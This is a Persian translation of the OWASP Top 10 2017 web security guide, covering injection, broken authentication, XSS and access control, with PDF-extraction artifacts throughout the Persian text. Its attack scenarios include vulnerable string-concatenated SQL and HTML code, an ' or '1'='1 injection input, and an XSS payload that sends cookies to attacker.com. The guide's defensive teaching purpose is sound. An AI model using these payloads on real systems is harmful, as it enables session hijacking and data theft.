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 مقدمه 1

های حیاتی شما را بهداشتی، امنیت و دیگر زیرساخت یهامراقبتامور مالی،  تواندیم ناامن افزارنرمیک 

شوند، دستیابی می وستهیپهمبهبحرانی، پیچیده و  وسیعی، شکلبه افزارهانرمتضعیف کند. به همان نسبت که 

و  ترعیسرباعث شده تا خطرات  ،مدرن یافزارهانرمشود. سرعت سریع رشد تر مینیز مشکل افزارنرمامنیت 

 کشف شوند. ترقیدق

 هاسازمانروی خطرات پیش نیترمهمبا شناسایی برخی از  افزارنرمافزایش آگاهی امنیت  Top10هدف پروژه 

، MITRE ،PCI ،DSS ازجمله هاسازمانو  ابزارها، هاکتاب، گوناگون یاستانداردهاتوسط  Top10است. پروژه 

DISA ،FTC است. قرارگرفته  اشارهمورد  ی،و موارد بسیار دیگرOWASP Top10 اولین بار در سال  یبرا

جهت  2010جزئی بر روی آن انجام شد. نسخه  یهایروزرسانبه 2007و  2004در سال  و منتشر شد 2003

ادامه  2017 آن در سال و آخرین نسخه 2013ین الگو در سال بهبود داده شد و ا ،با ریسک یبندتیاولو

 یافت.

توانند از می دهندگانتوسعهاستفاده کنید.  ToP10شود که از به شما پیشنهاد می ،برای شروع کار سازمانتان

 یهابرنامهکه  ییهاسکیرمدیریت نحوه در مورد ستی یاد بگیرند. مدیران بای هاسازماناشتباهات دیگر 

 ، فکر کنند.کنندیمشان ایجاد ها در شرکتAPIربردی و کا

در  افزارنرمخود ایجاد کنید. این فناوری و  فرهنگ باامنیتی سازگار  افزارنرمیک ستی در درازمدت، شما بای

 شود.وارد می هااندازهو ها فرم یتمام

 OWASPدرباره  1-1

OWASP  و  افزارهانرمطمینان، تا با ا دهدیماجازه  هاسازمانانجمنی است که بهAPI  ها را توسعه، خریداری

 موارد زیر آزاد و باز هستند: OWSAPو نگهداری کنند. در 

 استانداردهاو  افزارنرمامنیتی  یابزارها •

 ، توسعه کد امن و بررسی کد امنافزارنرمکامل در مورد تست  یهاکتاب •

 امنیتی استاندارد یهاکنترلو  هاکتابخانه •

 ی جهانیمقالات محل •

 پژوهش یمرزها •

 گسترده در سراسر جهان یهاکنفرانس •

 پستی یهافهرست •
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 مراجعه کنید. https://www.owasp.orgبرای اطلاعات بیشتر به سایت 

به هیچ شرکت  OWASPو باز است. رایگان برای همه  OWASPو مقالات  هاانجمناد، ن، اسابزارها همه

مانند  OWASPکند. حمایت میرا  ،امنیتی تجاریهای از فناوریانه استفاده آگاهولی فناوری وابسته نیست، 

مشارکتی و آزاد تولید  صورتبهرا  منابع اصلیمنبع باز است و انواع مختلفی از  یافزارنرم یهاپروژهبسیاری از 

 کند.می

OWASP  افراد مرتبط  یتمام با  یتقرکند. را تضمین می اشپروژه درازمدتیست و موفقیت انتفاعی ننهاد یک

-داوطلبانه کار میصورت به ،و اعضای پروژهمشاوران مقاله، مشاوران ، رهیمدئتیهاعضای  ازجمله OWASPبا 

 کنند.

 کرده است؟ رییتغ یيزهایچچه  2017به  2013از نسخه  2

 عیسر رشی، پذتغییر نیدر ا یدی. عوامل کلکندیم رییها تغAPIو  افزارهانرم یبرا داتیهمواره تهد

توسعه  یندهایفرا یو خودکارساز عیسر رشدها(، APIها و cloud ،container ازجمله)دیجد یهایتکنولوژ

 یهاشرفتیپثالث و  شخص یهاچارچوبو  هاکتابخانه عی، رشد سرDevOpsو  Agileمانند  افزارنرم

مسائل  تواندیمو  دکنیم ترسختها را APIو  افزارهانرم لیوتحلهیتجزعوامل اغلب  نیا .هست انمهاجم

 یروزرسانبه یاصورت دورهبه OWASP Top10 ،حفظ سرعتجهت دهد.  رییتغ یتوجهقابل طوربهرا  دیتهد

 است. شدهانجام بعدی راتییتغ 2017 ینسخه. در شودیم

 A7: Missing Function Level-2013و  A4: Insecure Direct Object References-2013موارد  .1

Access Control  2017 مورد بهادغام و-A4: Broken Access Control  ستا شدهتبدیل. 

  2007سال ،Broken Access Control دسته دو نیبه ا (2013-A4  2013و-A7 )

. در ردیقرار گ توجه مورد شتریب ،یاز مشکل کنترل دسترس بخشیبودند تا هر  شدهمیتقس

 .اندشدهادغام  باهم هاآن ،نیبنابراوجود ندارد  ازین نیا گریحال حاضر د

 است. شدهاضافهآن  ستیبه ل A7: Insufficient Attack Protection-2017مورد  .2

 توجه شده است. براساس  ،در برابر حملات خودکار فیمحافظت ضع به ست کههاسال

 یریجلوگ ،ییشناسا یبرا یاساس یهاتیقابلها از  APIو  افزارهانرم، اکثر شدهدادهاطلاعات 

 دیها باAPIو  افزارهانرم. مالکان ستندیو خودکار برخوردار ن یپاسخ به حملات دستو 

 خود در برابر حملات محافظت کنند. منابعاز  یراحتبهبتوانند 

 است. شدهاضافه ستیبه ل A10: Underprotected APIs-2017مورد  .3
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 و  افزارهانرمAPIار هستند، همانند مد یمشتر یکاربرد یهابرنامهمدرن اغلب شامل  یها

، API (SOAP/XMLتلفن همراه و مرورگر که به انواع  یافزارهانرمدر  پتیجاوا اسکر

REST/JSON ،RPC ،GWT نی. اشودیم( متصل رهیو غ API ها اغلب محافظت نشده و

 .هستندمتعددی  یهایریپذبیآس یدارا

 است. شدهحذفآن  ستیاز ل A10: Unvalidated Redirects and Forwards-2013مورد  .4

 اطلاعات، حالنیا با. شداضافهمشکل  نیاز ا یآگاه شیافزامورد جهت  نی، ا2010 سال 

در دو  نکهیا از پس نی. بنابراستینتوجهی مسئله، موضوع مورد  نیکه ا دهدیمنشان 

 حذف شد.آن  ستیاز ل دیقرار گرفت، در نسخه جد Top10 در لسیت رینسخه اخ

  

 

 2017به  2013از نسخه  OWASP Top 10 تارییتغجدول  -1 شکل

 ست؟یچ افزارنرم يتیخطرات امن 3

 ای و وکارکسبمختلف استفاده کنند و به  یهاروش بهشما  افزارنرماز  توانندیمبالقوه  طوربهمهاجمان 

 یاندازهبهکه ممکن است  شودیممحسوب تهدید  کی هاشرو نیاز ا کیبرسانند. هر  بیسازمان شما آس

 باشد. یجدلازم 
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دشوار هستند.  اریبسنیز  یهستند و گاه تیاهمیب ،یبرداربهرهو  صیتشخجهت  هاروش نیاوقات ا یگاه

را از سازمان ممکن است  اید نداشته باش یاجهینت چیامر ممکن است ه نیاز ا یناش بیمشابه، آس طوربه

بردار  د،یاحتمال را با هر عامل تهد توانیم ،هاسازمان یبرامیزان تهدید  نییتع یکند. براحذف  وکارکسب

 در مجموع. کرد بیسازمان خود ترک یو تجار یرات فنیاثتو آن را با برآورد رد مرتبط ک یتیحمله و ضعف امن

 .کندیم نییرا تعسازمان  یکل سکیعوامل، ر نیا

 

 ست؟یمن چتهدید برای  3-1

OWASP Top 10 نیاز ا کیهر  ی. براکندیم ییرا شناسا هاسازماناز  یعیمجموعه وستهدیدات  نیتریجد 

است  شدهارائه ،ریساده ز یابیاستفاده از طرح ارزبا ا آن ر یفن ریتأثدرباره احتمال و  یاطلاعات کلتهدیدات، 

 هست. OWASP سکیر یبندرتبهبر اساس روش این نیز که 

 

 دیعامل تهد کیممکن است  شخصی،م افزارنرمهر  ی. برادیدانیمخود را  وکارکسب طیمح اتیفقط شما جزئ

 وکارکسبممکن است در  آن یفن ریتأث ایوجود نداشته باشد،  ،بتواند حمله مربوطه را انجام دهد نکهیا یبرا

در  یتجار تأثیراتو  یتیامن یهاکنترلد، یبا توجه به عوامل تهد دیشما با ن،ینکند. بنابرا جادیا یرییشما تغ
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 رحسبب یتجار تأثیراتمشخص، و  افزارنرمبرحسب  دی. عوامل تهددیکن یابیرا ارز یسکیشرکت خود، هر ر

تان شما در شرکت فزارانرم اتیبه جزئ هانیاتا نشان دهد که  اندشده ستیل ،مشخص وکارکسب/افزارنرم

 وابسته هست.

 .کنندیم جادیا هاآنهست که  یریتأثنوع  ای پذیریآسیباز نوع حمله، نوع  Top10نام خطرات در 

 منابع 3-2

 :OWASPمنابع 

• OWASP Risk Rating Methodology 

• Article on Threat/Risk Modeling  
 :یمنابع خارج

• FAIR Information Risk Framework 

• Microsoft Threat Modeling Tool 

 OWASP Top 10 -2017 افزارنرم يتیامنتهدیدات  4

4-1 A1 :Injection 

 یبخش عنوانبه نامعتبر یهادادهکه  دهدیمرخ  یزمان LDAPو  SQL ،OS ،XXE قیمانند تزر ق،ینقص تزر

دهد تا دستورات  بیرا فرفسر م تواندیمخصمانه مهاجم  یهادادهارسال شوند. فسر م کیاز دستور به 

 کند. دایپ یدسترس ،مجوزبدون یهادادهبه  ایاجرا کند نامربوطی را 

 
 عوامل تهدید

 

 یهایژگیو

 کاربردی

را به سیستم ارسال کند که  نامشخص یهادادههر کس که بتواند 

دیگر، کاربران  یهاستمیسشامل کاربران خارجی، شرکای تجاری، 

 .شودیمداخلی و مدیران 

 
 وریبهره

 آسان

که از نحو متن  کنندیممهاجمان حملات مبتنی بر متن را ارسال 

منابع  ازجمله یادادههر منبع  با یتقر. کنندیماستفاده  موردنظر

 یک مسیر حمله باشند. توانندیمداخلی 

 

 یرهایمس

 حمله
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 شیوع

 رایج

 یهاداده افزارنرمکه یک  دهدیمنقض تزریق زمانی رخ 

ارسال کند. نقض تزریق بسیار شایع است  فسربه مرا  اعتمادرقابلیغ

وجود دارد. این نقص اغلب  یبرارثدر کدهایی که در آن به  ژهیوبه

وجود  NoSQLیا  SQL ،LDAP ،XPathهای  queryدر 

، SMTP یهدرها، XML؛ پارسرهای OSدارد؛ دستورات 

ابزار و غیره. تشخیص نقص تزریق هنگام بازبینی کد  یهازبان

و  اسکنرهااست، اما هنگام تست کد بسیار دشوار است. راحت 

یاری  ،تزریق یهانقصفازرها، مهاجمان را برای پیدا کردن 

 .کنندیم

 ییشناساقابل

 متوسط

 
 ریتأث

 شدید

دادن اطلاعات، عدم باعث تخریب یا از دست تواندیمتزریق 

گاهی موجب  تواندیمگویی یا رد دسترسی شود. تزریق پاسخ

 شود. نیز تصاحب کامل میزبان 

 
 یهایژگیو

 کاربردی/تجاری

فرم در حال اجرای مترجم و پلت دهیدبیآس یهادادهارزش تجاری 

رفته، اصلاح و یا به سرقت توانندیم هادادهرا در نظر بگیرید. تمام 

 حذف شوند. آیا شهرت شما آسیب خواهد دید؟

 

 هستید؟ ریپذبیآسآیا به تزریق  1-1-4

 یهافسرمکه تمام  است نیااست،  ریپذبیآسبه تزریق  افزارنرمن راه برای فهمیدن اینکه آیا یک بهتری

کنند. در بسیاری از موارد توصیه  حذف ،وجوپرسرا از فرمان یا  اعتمادرقابلیغاطلاعات  وضوحبه شدهاستفاده

 یرهایمتغ، از SQLرای فراخوانی (. بXXEکنید )مانند  رفعالیغاستفاده نکنید یا آن را  فسراز م شودیم

bind  در تمامstatement  پویا جلوگیری  یهاپرسشاستفاده کنید یا از  ،ذخیره یهاروشو  شدههیتههای

 کنید.

است. ابزار  خطریب مفسرشما به استفاده از  افزارنرمسریع و دقیق است تا بفهمید آیا  راهکیبازبینی کد 

استفاده کند و جریان داده را از  فسرانیک تحلیلگر امنیتی کمک کند که از م به تواندیمکد  لیوتحلهیتجز

را  یریپذبیآسکه  ییهاسوءاستفادهبا ایجاد  توانندیمنفوذ های کنندهردیابی کند. تست افزارنرمطریق 

 این مسائل را تائید کنند. ،کنندیمتصدیق 

تزریق  یهانقصاین باشد که آیا برخی از  دهندهنشانست ، ممکن اکندیمرا اجرا  افزارنرماسکن خودکار که 

 توانندینمدسترسی پیدا کنند و  فسرانبه م توانندینمهمیشه  اسکنرها. خیرهستند یا  سوءاستفادهقابل 

پذیری آسیب

 امنیتی

 فنی راتیتأث

 تجاری راتیتأث
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 ترآسانتزریق  یهانقص شودیم. مدیریت خطای کم، باعث خیریا است بوده  زیآمتیموفقبفهمند که حمله 

 کشف شوند.

 از حمله تزریق پیشگیری کنیم؟ چگونه 2-1-4

 ها است. queryاطمینان، جدا از دستورات و  رقابلیغجلوگیری از تزریق نیازمند ذخیره اطلاعات 

مطمئن استفاده کنید تا از استفاده کامل از مترجم جلوگیری  APIکه از یک  است نیاگزینه اول  .1

، که شدهرهیذخ یهاروشانند هایی م APIز کند یا رابط کاربری پارامتری را فراهم کند. در استفاده ا

 ، مراقب باشید.شدهیمعرفمخفی  صورتبهولی پارامتری شده است 

 یکاراکترهاپارامتریک در دسترس نباشد، شما باید با استفاده از نحو مخصوص گریز از  APIاگر یک  .2

مشابه، این  یهاکتابخانهو  OWASP’s Java Encoderکنید. اجتناب فسر آن مدر رابطه با  ،خاص

 .کنندیمروال گریز را فراهم 

استفاده شود، اما محافظت کامل ایجاد  "white list"از تصدیق ورودی مثبت یا  شودیمتوصیه  .3

باشد، تنها  ازیموردنزیرا شرایط بسیاری نیاز به مجوز خاص دارند. اگر کاراکترهای خاص  کندینم

گسترده از  یاکتابخانهدارای  OWASP’s ESAPI. شودیم هاآنباعث استفاده امن از  2و  1رویکرد 

 است. "white list"تصدیق ورودی  یهاروش

 نمونه سناریو حمله 3-1-4

 ،ریپذبیآس SQLدر ساخت دستور فراخوانی  نامعلوم یهادادهاز  افزارنرم: طبق مثال زیر، 1سناریو شماره 

 :کندیماستفاده 

String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + 

"'"; 

ممکن است منجر به نمایش  ،هاچارچوبدر  افزارنرممشابه، اعتماد کورکورانه  طوربه: 2سناریو شماره 

 (:Hibernate Query Language (HQL)، مثالعنوانبهشود ) ،رندیپذبیآسکه هنوز  ییهاداده

Query HQLQuery = session.createQuery("FROM accounts 

WHERE custID='" + request.getParameter("id") + "'"); 

. برای کندیمو ارسال  دهدیمتغییر  1'='1'یا  'را در مرورگر خود به  idدر هر دو مورد، مهاجم مقدار پارامتر 

 مثال:

 http://example.com/app/accountView?id=' or '1'='1 

 یهاحملهبازیابی کند.  ،accountsرا از جدول  هاپروندهتا تمام  دهدیمو پرسش را تغییر هر دفهوم این م

 .کندیمرا فراخوانی  شدهرهیذخ الرا تغییر داده یا حتی رو هاداده ،خطرناک
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 منابع 4-1-4

 :OWASPمنابع 

• OWASP SQL Injection Prevention Cheat Sheet 

• OWASP Query Parameterization Cheat Sheet 

• OWASP Command Injection Article 

• OWASP XXE Prevention Cheat Sheet 

• OWASP Testing Guide: Chapter on SQL Injection Testing 

 منابع خارجی:

• CWE Entry 77 on Command Injection 

• CWE Entry 89 on SQL Injection 

• CWE Entry 564 on Hibernate Injection 

• CWE Entry 611 on Improper Restriction of XXE 

• CWE Entry 917 on Expression Language Injection 

4-2 A2 :Broken Authentication and Session Management 

، که به مهاجم شودیماجرا  اشتباهبهنشست اغلب  تیریو مد اندوابسته تیبه احراز هو یافزارنرم یهاتیفعال

 یاجرا برا یهانقص گریاز د ای ندازد،ینشست را به خطر ب یهانشانه ای دهایکلعبور،  یرمزهاا ت دهدیماجازه 

 کاربران استفاده کند. ریسا تیآوردن هوبه دست
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 عوامل تهدید

 

 یهایژگیو

 کاربردی

مهاجمان خارجی ناشناس همانند کاربران مجاز هستند که تلاش 

سرقت ببرند. همچنین افراد داخلی  دیگران را به یهاحسابتا  کنندیم

 .کنندیمشان را پنهان که اقدامات

 
 وریبهره

 متوسط

موقت یا دائمی، از نقص یا  صورتبهمهاجمان برای جعل هویت کاربران 

 کنندیممدیریت نشست یا تصدیق هویت استفاده  یهاتیفعالعیب در 

 نشست(. یهااسهشن، هاگذرواژه، افشاشده یهاحساب، مثالعنوانبه)

 

 
 شیوع

 رایج

اغلب احراز هویت سفارشی و طرح مدیریت نشست  دهندگانتوسعه

، این جهیدرنتبسیار سخت است.  هانیا. اما ساخت کنندیمایجاد 

هایی مانند خروج از نهیدرزمسفارشی اغلب دارای نقص  یهاطرح

، شدهموشفراسیستم، ایجاد حساب کاربری، تغییر رمز عبور، رمز عبور 

 هاحساب یروزرسانبهمخفی،  سؤالاتزمان وقفه، مرا به یاد داشته باش، 

دشوار است زیرا هر  ییهانقصو غیره است. پیدا کردن چنین 

 است. فردمنحصربه یسازادهیپ
 ییشناساقابل

 متوسط

 
 ریتأث

 شدید

حمله کند. زمانی  هاحسابچنین نقصی ممکن است به همه یا بعضی از 

که قربانی  ییکارهاتمام تواندیمباشد، مهاجم  زیآمتیموفقه حمله ک

مجاز هدف قرار  یهاحسابانجام دهد را انجام دهد. اغلب  تواندیم

 .رندیگیم

 
 یهایژگیو

 کاربردی/تجاری

کاربردی را  یهاتیفعالو  قرارگرفته ریتأثتحت  یهادادهارزش تجاری 

 در نظر بگیرید.

 را در نظر بگیرید. یریپذبیآسی افشاء عمومی همچنین ارزش تجار

 

 هستید؟ ریپذبیآس hijackingآیا به  1-2-4

 ریپذبیآس؟ شما شودیممحافظت  یدرستبهکاربر و شناسه نشست  نامهیگواهآیا از مدیریت نشست همانند 

 هستید اگر:

 یدرستبهی با استفاده از هش یا رمزگذار یسازرهیذخاعتبارسنجی احراز هویت کاربر هنگام  .1

 را ببینید. A6-2017محافظت نشود. 

 یرهایمس

 حمله

 ضعف امنیتی

 فنی راتیتأث

 تجاری راتیتأث
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ایجاد حساب، تغییر رمز عبور، بازیابی  ازجملهاز طریق عملکرد ضعیف مدیریت حساب ) هانامهیگواه .2

 زدن یا رونویسی باشد.ضعیف( قابل حدس یهانشسترمز عبور، شناسایی 

 (.URLبازنویسی  مثالعنوانبهباشد ) مشاهدهقابل URLشناسه نشست در  .3

 شناسه نشست در معرض حملات تثبیت نشست باشد. .4

 خصوصبهاحراز هویت ) یهانشانهکاربر یا  یهانشستنشست تداوم نداشته باشند، یا  یهاشناسه .5

 معتبر نباشند. کاملا (( در هنگام خروج از سیستم SSO) تک نشانه یهانشانه

 تغییر نکرده باشد. ،شناسه نشست پس از ورود موفق .6

-2017ارسال شوند.  یرمزگذاربدون  ،عبور، شناسه نشست و سایر مدارک بر روی اتصالات یرمزها .7

A6 .را ببینید 

 مراجعه کنید. ASVSبرای جزئیات بیشتر به 

 چگونه از این نقص پیشگیری کنیم؟ 2-2-4

 قرار دهند: دهندگانتوسعهکه موارد زیر را در اختیار  است نیا هاسازمانتوصیه اصلی برای 

باید تلاش  ییهاکنترلواحد از کنترل مدیریت نشست و احراز هویت قوی. چنین یک مجموعه  .1

 :کنند

a. مدیریت نشست را که در سطوح  یازهایناحراز هویت و  یتمامV2  تصدیق هویت( و(V3 

برآورده را ، شدهفیتعر OWASP افزارنرمامنیت  دیتائ یاستانداردها)مدیریت نشست( 

 کنند.

b.  داشته باشند. تصدیق هویت  دهندگانوسعهترابط کاربری ساده برایESAPI  وAPI  های

 خوبی برای تقلید، استفاده یا ساخت روی آن در نظر بگیرید. یهانمونه عنوانبهکاربری را 

برای سرقت  تواندیمباید تلاش مضاعف انجام شود چون  XSS یهانقصبرای جلوگیری از  .2

 ببینید.را در  A7-2013نشست استفاده شود.  یهاشناسه

 نمونه سناریو حمله 3-2-4

نشست را در  یشناسه، کندیمپشتیبانی  URLرزرو مسافرت، از بازنویسی  افزارنرم: یک 1سناریو شماره 

URL :قرار دهید 

http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii 
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ن خود را در مورد فروش مطلع کند. کاربر لینک فوق را قصد دارد دوستا ،سایت یشدهیک کاربر تصدیق

 .کندیم، ایمیل کنندیمشناسه نشست را افشا  هاآنبدون دانستن اینکه 

. کاربر برای دسترسی به سایت از یک رایانه شودینمتنظیم  یدرستبه افزارنرم یبندزمان: 2سناریو شماره 

. یک ساعت بعد یک کندیماز سیستم، کاربر مرورگر را ترک انتخاب خروج  یجابه، کندیمعمومی استفاده 

 .کندیماستفاده  ،شده است دیتائمهاجم از این مرورگر که هنوز 

 یهاگذرواژه. کندیمداده رمز عبور سیستم دسترسی پیدا : مهاجم داخلی یا خارجی به پایگاه3سناریو شماره 

 هر کاربر قابل افشا است. رمز عبور نیبنابرا، اندنشدههش  یدرستبهکاربر 

 منابع 4-2-4

 OWASPمنابع 

 ASVS requirements areas forبرای کسب اطلاعات کامل در مورد پیشگیری از این نقص به 

Authentication (V2) and Session Management (V3) .مراجعه کنید 

• OWASP Authentication Cheat Sheet 

• OWASP Forgot Password Cheat Sheet 

• OWASP Password Storage Cheat Sheet 

• OWASP Session Management Cheat Sheet 

• OWASP Testing Guide: Chapter on Authentication 

 :منابع خارجی

• CWE Entry 287 on Improper Authentication 

• CWE Entry 384 on Session Fixation 

4-3 A3 :Cross-Site Scripting (XSS) 

 دیصفحه وب جد کیدر  اعتمادرقابلیغاطلاعات  یحاو افزارنرم کیکه  دهدیمرخ  یزمان XSS یهانقص

 APIمرورگر  کیتوسط کاربر با استفاده از  شدهارائه یهادادهصفحه وب موجود را با  کی ایبدون مجوز باشد 

در  هاپتیاسکر یجراامکان ا نیمبه مهاج XSSکند.  یروزرسانبهکند،  دیتول پتیجاوا اسکر تواندیمکه 

 یهاتیساکاربر را به  ایرا خراب کند  هاتیساوب رد،یکاربر را بگ یجلو تواندیمکه  دهدیمرا  یمرورگر قربان

 کند. تیمخرب هدا
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 عوامل تهدید

 

 یهایژگیو

 کاربردی

نامشخص به سیستم ارسال کند، شامل  یهاداده تواندیمهر کس که 

دیگر، کاربران داخلی و  یهاستمیسی، کاربران خارجی، شرکای تجار

 .شودیممدیران 

 
 وریبهره

 متوسط

در  فسرکه از م کنندیممبتنی بر متن را ارسال  یهاپتیاسکرمهاجمان 

یک مسیر حمله  تواندیمهر منبع داده  با یتقراست.  شدهاستفادهمرورگر 

 داده.پایگاه یهادادهمنابع داخلی مانند  ازجملهباشد، 

 

 
 شیوع

 بسیار شایع

وب را با  صفحهیک  افزارنرمکه  دهدیمزمانی رخ  XSS یهاضعف

مهاجم، بدون بازگشت از آن محتوا یا بدون  یشدهکنترلاطلاعات 

 XSS. معایب کندیم روزبهجاوا اسکریپت امن،  APIاستفاده از یک 

 امهرکدبازتاب شده است و  (2و ) شدهرهیذخ (1اصلی ) دودستهشامل 

( کلاینت ایجاد شوند. تشخیص b( سرور یا )aبر روی ) توانندیم هاآناز 

کد بسیار راحت  لیوتحلهیتجزاز طریق تست یا  XSS یهانقصاکثر 

 کلاینت برای شناسایی نقص بسیار دشوار است. XSSاست. 
 ییشناساقابل

 متوسط

 
 ریتأث

 متعادل

رگر قربانی اجرا کنند تا کاربر را را در مرو هاپتیاسکر توانندیممهاجمان 

خود را  یخصمانهرا از بین ببرند، محتوای  هاتیساوبمسدود کنند، 

وارد کنند، کاربران را هدایت کنند و مرورگر کاربر را با استفاده از 

 مخرب بشکنند. یافزارهانرم

 
 یهایژگیو

 کاربردی/تجاری

را در  دهیدبیآسسیستم و  قرارگرفته ریتأثتحت  یهادادهارزش تجاری 

 نظر بگیرید.

 را در نظر بگیرید. یریپذبیآسهمچنین ارزش تجاری افشاء عمومی 

 

 هستید؟ ریپذبیآس XSSآیا شما به  1-3-4

 عنوانبهتوسط کاربر  شدهارسال یهایورودهستید اگر کد سمت سرور شما از  ریپذبیآسسرور  XSSشما به 

استفاده کنید تا مطمئن شوید  ،حساس به متن escapeما باید از استفاده کند و ش HTMLبخشی از خروجی 

مهاجم به یک صفحه، از  کنترلقابل یهادادهاجرا شود. اگر یک صفحه وب برای انتقال پویای  تواندینمکه 

 یهادادهباید از ارسال  آلدهیا طوربه. دیهستکلاینت  XSSجاوا اسکریپت استفاده کند آنگاه شما دارای نقص 

 یرهایمس

 حمله

 ضعف امنیتي

 فني راتیتأث

 تجاری راتیتأث
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ورودی  یهاداده escapeاجتناب کنید، اما استفاده از  ناامنهای جاوا اسکریپت  APIمهاجم به  کنترلقابل

 شما را امن سازد. تواندیم

 افزارنرم، هر حالنیبااخودکار پیدا کنند.  صورتبهرا  XSSبرخی از مشکلات  توانندیمخودکار  یابزارها

بر روی این  جانبهسه یهاکتابخانهو با استفاده از  کندیمد متفاوتی ایجا صورتبهصفحات خروجی را 

. کنندیمسمت مرورگر مانند جاوا اسکریپت، اکتیو ایکس، فلش و سیلورلایت استفاده  فسران، از مهایآورفن

مدرن تک صفحه و  یافزارهانرمزمانی که از  مخصوصا ، شودیماین تنوع باعث تشخیص خودکار سخت 

. بنابراین پوشش کامل علاوه بر دیکنیمقدرتمند جاوا اسکریپت استفاده  یهاتابخانهکو  هاچارچوب

 نیاز دارد. ،دستی و آزمون نفوذ صورتبهخودکار به ترکیب بررسی کد  یکردهایرو

 پیشگیری کنیم؟ XSSچگونه از نقص  2-3-4

 ر فعال دارد.از محتوای مرورگ اعتمادرقابلیغ یهاداده یجداسازنیاز به  XSSپیشگیری از نقص 

 HTMLنامعلوم در چارچوب  یهادادهکه از  است نیاسرور، گزینه اول  XSSبرای پیشگیری از  .1

استفاده نکنید.  ،شوندیمدر آن قرار داده  هاداده( که URLیا  CSS)بدنه، ویژگی، جاوا اسکریپت، 

 ینید.را بب OWASP XSS Prevention Cheat Sheetبرای اطلاعات بیشتر در این زمینه 

 تواندیماطمینان که  رقابلیغ یهادادهکه  است نیاکلاینت، گزینه اول  XSSبرای پیشگیری از  .2

های مرورگر ارسال نکنید. زمانی که نتوان  APIمحتوای فعال تولید کند، به جاوا اسکریپت و سایر 

 OWASP DOM based XSS Prevention Cheatکه در  طورهمان توانیماین کار را انجام داد، 

Sheet یهاکیتکن، شدهفیتوص escape  حساس به متن را بهAPI .های مرورگر اعمال کرد 

 AntiSamyخودکار مانند  یسازپاک یهاکتابخانه، XSSتان در برابر برای دفاع از کل سایت .3

OWASP  یاJava HTML Sanitizer Project .را در نظر بگیرید 

 در نظر بگیرید.نیز ( را CSP) ، سیاست امنیتی محتواXSS تان در برابربرای دفاع از کل سایت .4

 نمونه سناریو حمله 3-3-4

 :کندیمزیر استفاده  HTMLدر ساخت قطعه  اعتمادرقابلیغ یهاداده، از escapeیا  دیتائبدون  افزارنرم

(String) page += "<input name='creditcard' type='TEXT' value='" + 

request.getParameter("CC") + "'>"; 

 به: دهدیمرا در مرورگر خود تغییر  'CC'مهاجم پارامتر 

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi? 

foo='+document.cookie</script>' 
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قت و به مهاجم اجازه سر شدهارسالمهاجم  تیساوبشناسه نشست قربانی به  شودیماین حمله باعث 

 .دهدیمنشست کاربر را 

استفاده  CSRFدفاع خودکار  هرگونهبرای جلوگیری از  XSSاز  توانندیمتوجه داشته باشید که مهاجمان 

 آمده است. A8-2017در  CSRFکنند. جزئیات بیشتر در مورد 

 منابع 4-3-4

 :OWASPمنابع 

• OWASP Types of Cross-Site Scripting 

• OWASP XSS Prevention Cheat Sheet 

• OWASP DOM based XSS Prevention Cheat Sheet 

• OWASP Java Encoder API 

• ASVS: Output Encoding/Escaping Requirements (V6) 

• OWASP AntiSamy: Sanitization Library 

• Testing Guide: 1st 3 Chapters on Data Validation Testing 

• OWASP Code Review Guide: Chapter on XSS Review 

• OWASP XSS Filter Evasion Cheat Sheet 

 :منابع خارجی

• CWE Entry 79 on Cross-Site Scripting 

4-4 A4 :Broken Access Control 

. مهاجمان شوندینماجرا  یدرستبههستند،  هاآنشده مجاز به انجام  قیکه کاربران تصد ییهاتیمحدود

 گرید یهاحساببه ی، مانند دسترسهاداده ایو/ رمجازیغ یهاتیقابلبه  یدسترس یبرا هانقص نیاز ا توانندیم

 استفاده کنند. رهیو غ یحقوق دسترس رییتغ گر،یکاربران د یهاداده رییحساس، تغ یهالیفاکاربران، مشاهده 
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 عوامل تهدید

 

 یهایژگیو

 کاربردی

کاربران به توابع و  ایآتان را در نظر بگیرید. انواع کاربران مجاز سیستم

اعتبار اجازه  رقابلیان غکاربر ای؟ آشوندیمخاص محدود  یهاداده

  ؟دهندیمداده را  ای فعالیت هرگونهبه  یدسترس

 
 وریبهره

 آسان

مقدار یک پارامتر  توانندیم یسادگبهمهاجمانی که کاربر مجاز هستند، 

را به منابع دیگر که مجاز نیستند تغییر دهند. آیا دسترسی به این 

 فعالیت یا داده ارزشمند نیست؟

 

 
 شیوع

 شایع

صفحات وب از  دیها اغلب در هنگام تول APIو  هابرنامه، هاداده یبرا

ها و  URLتوابع،  ی. براکنندیماستفاده  یش کی دیکل ای ینام واقع

ها  APIو  هابرنامه. شوندیمراحت حدس زده تابع اغلب  یهانام

. کندینم دیتائاستفاده از منابع هدف  را برایکاربر مجاز  ،شهیهم

 توانندیم یراحتبهها کنندهاست. تست یسترسنقص کنترل د کینیا

کنند.  یکاردستمختلف  یهانقص ییشناسا یپارامترها را برا

 .دهدیمنشان بودن مجوز را درست سرعتبهکد  لیوتحلهیتجز
 ییشناساقابل

 آسان

 
 ریتأث

 متعادل

که در دسترس را  ییهاداده ای هاتیفعالتمام  تواندیم ینقص نیچن

 ایباشند  ینیبشیپرقابلیغمراجع  نکهیا جزبه. ندازدی، به خطر بهستند

به سرقت  توانندیم هاتیقابلو  هاداده د،یبه اجرا درآ یکنترل دسترس

 .رندیقرار گ سوءاستفادهمورد  ایرفته 

 
 یهایژگیو

 کاربردی/تجاری

 ر بگیرید.را در نظ افشاشده یهاتیفعالو  هادادهارزش تجاری 

 را در نظر بگیرید. یریپذبیآسهمچنین ارزش تجاری افشاء عمومی 

 

 هستید؟ ریپذبیآسآیا شما به این نقص  1-4-4

که محافظت  است نیا ،است ریپذبیآسبه کنترل دسترسی  افزارنرمبهترین راه برای فهمیدن اینکه یک 

هستید، در نظر  ریپذبیآستعیین اینکه آیا شما کنیم. برای  دیتائو توابع را  هادادهمناسب از تمام ارجاعات 

 بگیرید:

 یرهایمس

 حمله

 ضعف امنیتی

 فنی راتیتأث

 تجاری ترایتأث
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 اینقشه مرجع  کیاستفاده از که کاربری که مجاز به  کندیمبررسی  افزارنرم ایارجاعات داده، آ یبرا .1

 ؟است هادادهمجاز به استفاده از آن کاربر  واقعا  ی است آیا کنترل دسترس

برای  ازیموردنکاربر تصدیق شده که دارای امتیاز  ارافزنرم، آیا publicبرای درخواست تابع غیر  .2

 .کندیم دیتائاستفاده از آن تابع است را 

